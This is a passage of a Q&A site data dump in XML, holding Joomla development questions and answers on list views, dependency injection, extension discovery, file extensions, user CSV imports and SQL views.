same issue of upper/lowercase characters could be involved in the contents of your templatedetails.xml preventing it from loading correctly.&lt;/p&gt;&#xA;&lt;p&gt;Turn on Debug and Error Reporting and you might receive more useful diagnostics that might be more specific as to what the issue is.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-30T22:38:13.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32754" PostTypeId="2" ParentId="32739" CreationDate="2023-01-30T23:05:15.617" Score="0" Body="&lt;p&gt;If your Save &amp;amp; Exit is supposed to bring you back to a list of records, views/musics, then the stack trace is showing you are trying to load a views/music, the singular or edit form view. Thus it is finding view/music/tmpl/edit.php and not views/musics/tmpl/default.php. Somewhere in your code you have a reference to music and not musics.&lt;/p&gt;&#xA;&lt;p&gt;In your com_myext/admin/controllers/music.php you probably have reference to set the List view that is to be displayed once the music form is closed.&lt;/p&gt;&#xA;&lt;p&gt;This is a sample that comes from a Joomla extension generator.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;{&#xA;    $this-&amp;gt;view_list = 'musics';&#xA;    parent::__construct();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However if you change the &lt;code&gt;musics&lt;/code&gt; to &lt;code&gt;music&lt;/code&gt; then it will produce the same error message you seeing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;{&#xA;    $this-&amp;gt;view_list = 'music';&#xA;    parent::__construct();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;$this-view_list&lt;/code&gt; is expecting a List view and you are providing an edit/form view.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-30T23:05:15.617" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32755" PostTypeId="1" AcceptedAnswerId="32759" CreationDate="2023-01-31T00:16:59.853" Score="0" ViewCount="47" Body="&lt;p&gt;let's say my Joomla is deployed in the Root subfolder ,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*root&#xA;**Joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;soo the index.php for Joomla resides in &lt;code&gt;root/Joomla&lt;/code&gt;.&#xA;now I want to render Joomla content through Javascript from the &lt;code&gt;root&lt;/code&gt; but not through a redirect, so I want to store the Joomla content into a javascript variable and then render it, is it possible ?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-03-02T06:00:50.103" Title="Store Joomla content into javascript variable" Tags="|joomla-4.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32756" PostTypeId="2" ParentId="32721" CreationDate="2023-01-31T01:24:50.297" Score="0" Body="&lt;p&gt;This pull request waiting on Joomla 4.3 is a replacement for the introduction of custom fields being searchable in com_finder that introduced the underlying issue originally. It appears that it will resolve the issue.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/38650&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/38650&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-31T01:24:50.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32757" PostTypeId="1" AcceptedAnswerId="32758" CreationDate="2023-01-28T22:59:37.803" Score="1" ViewCount="99" Body="&lt;p&gt;I am working my way through a &lt;a href=&quot;https://blog.astrid-guenther.de/en/die-erste-ansicht-im-backend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 4 component tutorial&lt;/a&gt;. I have setup Visual Studio Code's Intelephense to be able to find Joomla classes using &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=831&amp;amp;t=989086#p3641893&quot; rel=&quot;nofollow noreferrer&quot;&gt;includepath&lt;/a&gt;. That seems to be working fine for the first php file in the tutorial, &amp;quot;&lt;a href=&quot;https://codeberg.org/astrid/j4examplecode/src/branch/t1/src/administrator/components/com_foos/script.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;script.php&lt;/a&gt;&amp;quot; (for example, VS Code can find &lt;code&gt;Text::_()&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;However, the second php file, &amp;quot;&lt;a href=&quot;https://codeberg.org/astrid/j4examplecode/src/branch/t1/src/administrator/components/com_foos/services/provider.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;provider.php&lt;/a&gt;&amp;quot;, defines a class that derives from &lt;code&gt;Joomla\DI\ServiceProviderInterface&lt;/code&gt;. Intelephense can't seem to find where that class is defined and, after looking through my local instance of Joomla's source code, neither can I.&lt;/p&gt;&#xA;&lt;p&gt;Where is Joomla\DI\ServiceProviderInterface defined?&lt;/p&gt;&#xA;&lt;p&gt;And if such dependencies are not part of the Joomla source code, where does Joomla get them from at runtime?&lt;/p&gt;&#xA;" OwnerUserId="3948" OwnerDisplayName="Jimmy" LastEditorUserId="12352" LastEditDate="2023-01-31T09:25:52.617" LastActivityDate="2023-01-31T09:25:52.617" Title="Where is Joomla's ServiceProviderInterface" Tags="|php|joomla-4|dependency-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32758" PostTypeId="2" ParentId="32757" CreationDate="2023-01-29T01:34:10.650" Score="1" Body="&lt;p&gt;Joomla's Dependency Injection package is available at &lt;a href=&quot;https://github.com/joomla-framework/di&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;p&gt;Hopefully this saves someone else the few hours I spent tracking this down.&lt;/p&gt;&#xA;&lt;p&gt;Likewise, retrieve Psr\Container\ContainerInterface from &lt;a href=&quot;https://github.com/php-fig/container&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/php-fig/container&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="3948" OwnerDisplayName="Jimmy" LastActivityDate="2023-01-29T18:14:55.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32759" PostTypeId="2" ParentId="32755" CreationDate="2023-01-31T04:57:33.107" Score="0" Body="&lt;p&gt;I suggest you read up on the Joomla Webservices API that allows you to get content from a Joomla website using a restful connection. The website is access via the URL, not folders, therefore your Joomla instance can be in a sub folder, a peer folder or on a different server anywhere on the 'net.&lt;/p&gt;&#xA;&lt;p&gt;This is a good starter article to read, &lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and there is some limited official documentation here, &lt;a href=&quot;https://docs.joomla.org/Category:Joomla!_4.x_Web_Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Category:Joomla!_4.x_Web_Services&lt;/a&gt; but some searching and you find more helpful information.&lt;/p&gt;&#xA;&lt;p&gt;In your Javascript you would be using Fetch to pass your request to the website and the content is returned in JSON form that you can process and display however you want.&lt;/p&gt;&#xA;&lt;p&gt;Your question doesn't say if the content you want from Joomla is the core content or some other extension so what you want may not be available and might require further effort to access.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-31T04:57:33.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32760" PostTypeId="2" ParentId="32749" CreationDate="2023-01-31T07:01:48.413" Score="1" Body="&lt;p&gt;To clarify, &lt;code&gt;com_ajax&lt;/code&gt; does not call any method in your plugin. Instead, it triggers a regular event to which all loaded plugins can respond. So in theory the &lt;code&gt;plugin&lt;/code&gt; query variable should be the name of the event and not the name of your plugin. This means a single plugin can have multiple AJAX events by using different &lt;code&gt;plugin&lt;/code&gt; parameter in the &lt;code&gt;com_ajax&lt;/code&gt; request. In case you want to avoid other plugins from butting in, you would need to ensure the uniqueness of the event name. So using something like the full plugin name is still an option. You can then add a suffix to allow different events or use additional query parameters like shown in James's answer.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-01-31T07:01:48.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32761" PostTypeId="5" CreationDate="2023-01-31T09:27:54.240" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Dependency_injection&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Dependency injection&lt;/strong&gt;&lt;/a&gt; (DI) is a set of software design principles and design patterns for object-oriented programming (OOP) involving dynamically &lt;em&gt;injecting&lt;/em&gt; (inserting) into a software component &lt;em&gt;dependencies&lt;/em&gt; (service components) that it needs to function, without needing the dependent component to hard-code a dependency on the service. This reduces coupling between the dependent consumer and the service.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-01-31T09:27:54.240" LastActivityDate="2023-01-31T09:27:54.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32762" PostTypeId="4" CreationDate="2023-01-31T09:27:54.240" Score="0" Body="Dependency Injection is a set of software design principles and patterns that enables you to reduce coupling between components" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-01-31T09:27:54.240" LastActivityDate="2023-01-31T09:27:54.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32764" PostTypeId="1" CreationDate="2023-02-01T04:58:08.260" Score="2" ViewCount="86" Body="&lt;p&gt;As a result of a mistake I made in the way I set up an extensions symlinks my extension was not being found when using the Discover feature of Joomla, this lead me to stepping through the installer code to find the cause.&lt;/p&gt;&#xA;&lt;p&gt;Therefore my question is Why can't Discover find my extension or What is Discover looking for?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-01T21:19:46.577" Title="Why can't Discover find my extension or What is Discover looking for?" Tags="|joomla-4.x|installation|discover|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32765" PostTypeId="2" ParentId="32764" CreationDate="2023-02-01T04:58:08.260" Score="2" Body="&lt;p&gt;The short answer is Discover is looking for a manifest file with the .xml in your extensions directory, eg.`myextname.xml is searched for, and it must have valid XML elements.&lt;/p&gt;&#xA;&lt;p&gt;In my examples here I am working with a Component but the process is pretty much the same with each type of extension having their own &lt;code&gt;discover()&lt;/code&gt; method in an adaptor of their own, e.g. &lt;code&gt;\libraries\src\Installer\Adapter\ComponentAdapter.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;A list of possible extensions is built by traversing specific directories to create a list of extension names.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$site_components  = Folder::folders(JPATH_SITE . '/components');&#xA;$admin_components = Folder::folders(JPATH_ADMINISTRATOR . '/components');&#xA;$api_components = Folder::folders(JPATH_API . '/components'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once it has a list of components will then attempt to check for the existence of the .xml file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($site_components as $component) &#xA;{&#xA;    if (file_exists(JPATH_SITE . '/components/' . $component . '/' . str_replace('com_', '', $component) . '.xml')) &#xA;    {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the .xml file is found it is then passed to the Installer class that again checks that it exists and attempts to the read the xml to be returned. If your manifest file has invalid xml element(s) it will silently fail and not be displayed. From &lt;code&gt;\libraries\src\Installer\Installer.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function parseXMLInstallFile($path)&#xA;{&#xA;    // Check if xml file exists.&#xA;    if (!file_exists($path)) {&#xA;        return false;&#xA;    }&#xA;&#xA;    // Read the file to see if it's a valid component XML file&#xA;    $xml = simplexml_load_file($path);&#xA;&#xA;    if (!$xml) {&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-02-01T21:19:46.577" LastActivityDate="2023-02-01T21:19:46.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32767" PostTypeId="1" CreationDate="2023-02-03T13:17:54.970" Score="0" ViewCount="61" Body="&lt;p&gt;In principle, libraries for Joomla are a useful feature. Unfortunately, in practice they have problems stemming from the way Joomla upgrades them. Some aspects of the problems are described at &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/35083&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/35083&lt;/a&gt;. There is no sign of this issue being resolved.&lt;/p&gt;&#xA;&lt;p&gt;In fact, the issue appears to be rather worse than described. Because Joomla handles a library upgrade by uninstalling and then installing the library, it becomes extremely difficult to implement an install script. The trouble is that the install script is loaded for the uninstall of the library, but is then loaded again (from a different place, so not recognised by PHP as being the same) for the install of the library. That results in a PHP compile error because the install script is a duplicate class the second time round.&lt;/p&gt;&#xA;&lt;p&gt;It is possible in a rather messy way to avoid the install script being loaded the first time, but this approach will then result in failure to run the script if Joomla ever resolves the issue.&lt;/p&gt;&#xA;&lt;p&gt;The issue report linked above suggests that an alternative is to use a &amp;quot;file&amp;quot; extension instead of a library. But file extensions are even less documented than libraries. The description at &lt;a href=&quot;https://docs.joomla.org/Extension_types_(general_definitions)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Extension_types_(general_definitions)&lt;/a&gt; is sketchy to say the least.&lt;/p&gt;&#xA;&lt;p&gt;Is there any information available on how to install a set of files? How to determine where they go? Is there a way to autoload classes in the set of files? Can &amp;quot;files&amp;quot; extensions have language files? Is a &amp;quot;files&amp;quot; extension really a viable alternative to a library?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2024-02-29T00:02:35.323" Title="Joomla file extension - how does it work?" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32768" PostTypeId="2" ParentId="32767" CreationDate="2023-02-03T22:26:58.157" Score="0" Body="&lt;p&gt;To answer your first two questions this is an example of a manifest for installing a file into the /cli directory, from Joomla 3, that should give you a starting point.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;    &amp;lt;extension version=&amp;quot;3.9&amp;quot; type=&amp;quot;file&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;files_cli_inventory&amp;lt;/name&amp;gt;&#xA;...&#xA;        &amp;lt;description&amp;gt;CLI files for the Inventory component&amp;lt;/description&amp;gt;&#xA;        &amp;lt;fileset&amp;gt;&#xA;            &amp;lt;files target=&amp;quot;cli&amp;quot;&amp;gt;&#xA;                &amp;lt;file&amp;gt;inventory.php&amp;lt;/file&amp;gt;&#xA;            &amp;lt;/files&amp;gt;&#xA;        &amp;lt;/fileset&amp;gt;&#xA;    &amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is no real 'smarts' about it, it just gets your file(s) or folder(s) into the desired(target=&amp;quot;cli&amp;quot;) directory. It isn't an extension as such.&lt;/p&gt;&#xA;&lt;p&gt;I haven't tried this but you could either provide another &lt;code&gt;&amp;lt;files ....&amp;gt;&lt;/code&gt; element to put any language files you need into the /language directory or use the standard method to put language files&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administrator&amp;gt;&#xA;&amp;lt;language&amp;gt;&#xA;....&#xA;&amp;lt;/language&amp;gt;&#xA;&amp;lt;/administrator&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;They would need to be loaded as part of your code in some way as there is no extensions type processing being associated with them to invoke autoloading.&lt;/p&gt;&#xA;&lt;p&gt;I don't think the &lt;code&gt;&amp;lt;namespace&amp;gt;&lt;/code&gt; element would be available or make sense in a Files manifest so you may have to fall back to the Joomla 3 approach of using a Plugin to to register your 'library(s)' for autoloading.&lt;/p&gt;&#xA;&lt;p&gt;If you are going to create a plugin as suggested above then you can probably use the plugins' manifest to copy your language and library(s) files at the same time.&lt;/p&gt;&#xA;&lt;p&gt;Without actually testing out the above I think it is possible, but crude. And given your requirements also include install and uninstall processing you would need to test whether that is invoked when installing a &lt;code&gt;Type=File&lt;/code&gt;. I don't see why it shouldn't.&lt;/p&gt;&#xA;&lt;p&gt;Would probably be better to address the issue identified in &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/35083&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/35083&lt;/a&gt; and fix the Library installer process.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-03T22:26:58.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32769" PostTypeId="1" CreationDate="2023-02-04T10:44:15.697" Score="1" ViewCount="26" Body="&lt;p&gt;I have a JOOMLA 3 system with Community Builder plugin. I need to update Users from a CSV file regurarly from a script. Here is the code I have tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    s = fn_login()&#xA;    r = s.get(cb_users)&#xA;    print(r)&#xA;    with open(IMPORT_FILE, 'rb') as f:&#xA;        files = {'files': f}&#xA;        r = s.post(post_url, files=files)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The session (s variable) is working ok, so it is established and kept. I have tried to figure out the import POST message, but something may be missing. Nothing happens when I send the post. I have got response 200. What else do I need to consider? Do I need to add something extra from the header? Nevertheless, I am not sending any header. Do I need to send something? Do I need to send any token?&lt;/p&gt;&#xA;&lt;p&gt;Here is the request header I got from the Google Chrome / Network (it is the only post message when I run Import from CB):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl 'https://3joomla.domain/administrator/index.php'&#xA;-X 'POST'&#xA;-H 'authority: 3joomla.domain'&#xA;-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9'&#xA;-H 'accept-language: en-US,en;q=0.9,hu;q=0.8'&#xA;-H 'cache-control: max-age=0'&#xA;-H 'content-length: 6710'&#xA;-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryALBLy00y6zolw7hC'&#xA;-H 'cookie: ....&#xA;-H 'origin: https://3joomla.domain'&#xA;-H 'referer: https://3joomla.domain/administrator/index.php'&#xA;-H 'sec-ch-ua: &amp;quot;Not?A_Brand&amp;quot;;v=&amp;quot;8&amp;quot;, &amp;quot;Chromium&amp;quot;;v=&amp;quot;108&amp;quot;, &amp;quot;Google Chrome&amp;quot;;v=&amp;quot;108&amp;quot;'&#xA;-H 'sec-ch-ua-mobile: ?0'&#xA;-H 'sec-ch-ua-platform: &amp;quot;Linux&amp;quot;'&#xA;-H 'sec-fetch-dest: document'&#xA;-H 'sec-fetch-mode: navigate'&#xA;-H 'sec-fetch-site: same-origin'&#xA;-H 'sec-fetch-user: ?1'&#xA;-H 'upgrade-insecure-requests: 1'&#xA;-H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'&#xA;--compressed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16881" LastActivityDate="2023-02-04T10:44:15.697" Title="Import COM-USERS via JOOMLA Community Builder - Python Script" Tags="|com-users|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32770" PostTypeId="1" CreationDate="2023-02-05T17:55:59.507" Score="1" ViewCount="39" Body="&lt;p&gt;I have created a custom (com_users/profile/edit.php). I have created a custom form that I would like to use - however, when I save the form - the value do not store in the db and the page does not successfully refresh. This only happens when the password_reset_required for the user =1...otherwise the page saves/refreshes as it should. I know that it locks the user to this page if a password reset is required.&lt;/p&gt;&#xA;&lt;p&gt;Is there something that I am missing that will allow my custom form to save for this use case?&lt;/p&gt;&#xA;" OwnerUserId="7936" LastActivityDate="2023-02-05T17:55:59.507" Title="Joomla 4 - 'Edit My Profile' Form - create custom generic form" Tags="|joomla-4.x|php7|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32772" PostTypeId="1" CreationDate="2023-02-06T12:40:03.323" Score="2" ViewCount="201" Body="&lt;p&gt;Joomla 4.2.8 and PHP 8.0.28&lt;/p&gt;&#xA;&lt;p&gt;Accessed my website today and noticed this error on the home page (along with a white);&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fatal error: Uncaught Error: Class&#xA;&amp;quot;Symfony\Component\ErrorHandler\ThrowableUtils&amp;quot; not found in&#xA;/home/customer/www/mydomain.com/public_html/libraries/vendor/symfony/error-handler/ErrorHandler.php:563&#xA;Stack trace: #0 [internal function]:&#xA;Symfony\Component\ErrorHandler\ErrorHandler-&amp;gt;handleException(Object(Error))&#xA;#1 {main} thrown in /home/customer/www/mydomain.com/public_html/libraries/vendor/symfony/error-handler/ErrorHandler.php&#xA;on line 563&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No changes have been made to my site, and I haven't updated anything. It appears to be intermittent, I've checked and it's now online again but I've made no changes.&lt;/p&gt;&#xA;&lt;p&gt;I am able to login to the admin area ok.&lt;/p&gt;&#xA;&lt;p&gt;When I check the administrator/logs/everything.php the most recent entry is below;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2023-02-06T12:28:53+00:00 CRITICAL 207.46.13.160  error   Uncaught&#xA;Throwable of type Joomla\CMS\Router\Exception\RouteNotFoundException&#xA;thrown with message &amp;quot;Page not found&amp;quot;. Stack trace: #0&#xA;[ROOT]/libraries/src/Application/SiteApplication.php(736):&#xA;Joomla\CMS\Router\Router-&amp;gt;parse(Object(Joomla\CMS\Uri\Uri), true)&#xA;#1 [ROOT]/libraries/src/Application/SiteApplication.php(224): Joomla\CMS\Application\SiteApplication-&amp;gt;route()&#xA;#2 [ROOT]/libraries/src/Application/CMSApplication.php(294): Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute()&#xA;#3 [ROOT]/includes/app.php(61): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#4 [ROOT]/index.php(32): require_once('/home/customer/...')&#xA;#5 {main}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My webhost (siteground) have confirmed everything looks ok at their end.&lt;/p&gt;&#xA;&lt;p&gt;I'm reluctant to upgrade anything until I understand what's going on.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2023-03-06T15:33:19.413" LastActivityDate="2023-03-06T15:33:19.413" Title="Fatal Error Symfony" Tags="|error-handling|fatal-error|logs|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32774" PostTypeId="1" AcceptedAnswerId="32780" CreationDate="2023-02-07T12:14:37.000" Score="1" ViewCount="97" Body="&lt;p&gt;In order to query the exact featured status of an article in a blog override (i.e. currently featured, not pending or expired or not featured at all) I have created a query to join two tables and create a new one in a Joomla 4 database.  #__content and #__content_frontpage [this is where the articles' featured_up and featured_down details are held], retrieving and combining nearly all fields from both tables, like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;CREATE TABLE #_content_with_featured SELECT * FROM #_content, LEFT JOIN #_content_frontpage ON #_content.id = #_content_frontpage.content_id;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I then made 'id' (taken from #__content) the primary key. BUT... the table is not dynamic. Any new articles or changes to existing articles are not reflected in the new table.&lt;/p&gt;&#xA;&lt;p&gt;What do I need to do? I think I might need to create a VIEW rather than a TABLE. But can I query a VIEW in a Joomla override?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2023-02-09T13:08:06.677" LastActivityDate="2023-02-10T00:28:07.840" Title="After joining two tables in phpMyAdmin how do I save the results as a dynamic table?" Tags="|php|database|sql|phpmyadmin|html|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32776" PostTypeId="1" AcceptedAnswerId="32779" CreationDate="2023-02-08T07:45:41.983" Score="1" ViewCount="65" Body="&lt;p&gt;I have read the Joomla documentation &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Web_Assets&lt;/a&gt;.&#xA;I can't find the weight option there.&lt;/p&gt;&#xA;&lt;p&gt;It is present in the Joomla code. For example, here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/763dc9c35ac2d2e757bf9a4bbcad4ba3d988e755/templates/cassiopeia/joomla.asset.json#L47&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/763dc9c35ac2d2e757bf9a4bbcad4ba3d988e755/templates/cassiopeia/joomla.asset.json#L47&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What does it mean? Where can I find more information about this and other options?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2023-02-09T11:58:19.723" Title="WebAssetmanager and Option weight" Tags="|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32777" PostTypeId="1" CreationDate="2023-02-08T13:04:34.480" Score="1" ViewCount="52" Body="&lt;p&gt;I'd like to disable entering and editing any files in the Templates/Templates area. We have some security issues with template files (they are edited by hackers) and we are afraid that it is used for hacking.&lt;/p&gt;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="16886" LastActivityDate="2024-03-10T22:07:30.880" Title="Secure joomla admin: Disable editing css/html files for templates" Tags="|joomla-3.x|templates|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32778" PostTypeId="1" AcceptedAnswerId="32781" CreationDate="2023-02-09T11:32:03.830" Score="2" ViewCount="74" Body="&lt;p&gt;I want my extension to support Joomla 4.2 and later, what should I write for the &lt;code&gt;targetplatform&lt;/code&gt; in that case? Will &lt;code&gt;4.*&lt;/code&gt; do the trick?&lt;/p&gt;&#xA;&lt;p&gt;Writing something like &lt;code&gt;4.[2|3]&lt;/code&gt; for the &lt;code&gt;targetplatform&lt;/code&gt; is not a good option for me as it requires a manual effort every new minor Joomla version.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="12352" LastEditDate="2023-02-10T01:05:44.847" LastActivityDate="2024-01-23T16:33:16.920" Title="Extension update server - targetplatform to support 4.2 and later" Tags="|development|extension-update|versions|regex|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32779" PostTypeId="2" ParentId="32776" CreationDate="2023-02-09T11:58:19.723" Score="2" Body="&lt;p&gt;This is a sorting mechanism for assets order. If you look inside &lt;code&gt;/libraries/src/WebAsset/WebAssetManager.php&lt;/code&gt; you will find  &lt;code&gt;calculateOrderOfActiveAssets()&lt;/code&gt; method that referring to &lt;a href=&quot;https://en.wikipedia.org/wiki/Topological_sorting#Kahn.27s_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kahn's_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately there is no official documentation about the &lt;code&gt;weight&lt;/code&gt; option. Probably you can use it to set the ordering for assets, but that's only my assumption.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2023-02-09T11:58:19.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32780" PostTypeId="2" ParentId="32774" CreationDate="2023-02-10T00:28:07.840" Score="2" Body="&lt;p&gt;Unless you are magically updating the new table with fresh data then you will only see the data from the initial select statement.&#xA;In this case you have a few options&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;populate the new table with updated data via a cron or other automated process to load the new / updated data from your source tables&lt;/li&gt;&#xA;&lt;li&gt;create a user driven button to refresh the data periodically&lt;/li&gt;&#xA;&lt;li&gt;create a view in your mysql db that will dynamically show the results from your select when accessed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Options 1 &amp;amp; 2 will allow you to query the results in the #_ format in Joomla as it is a genuine table as far as Joomla is concerned.&lt;/p&gt;&#xA;&lt;p&gt;Option 3 should also allow you to use the #_ format to query data as long as you name your view with the table prefix as though it is a regular table, but you may need to create your view directly in the db initially.&lt;/p&gt;&#xA;" OwnerUserId="12876" LastActivityDate="2023-02-10T00:28:07.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
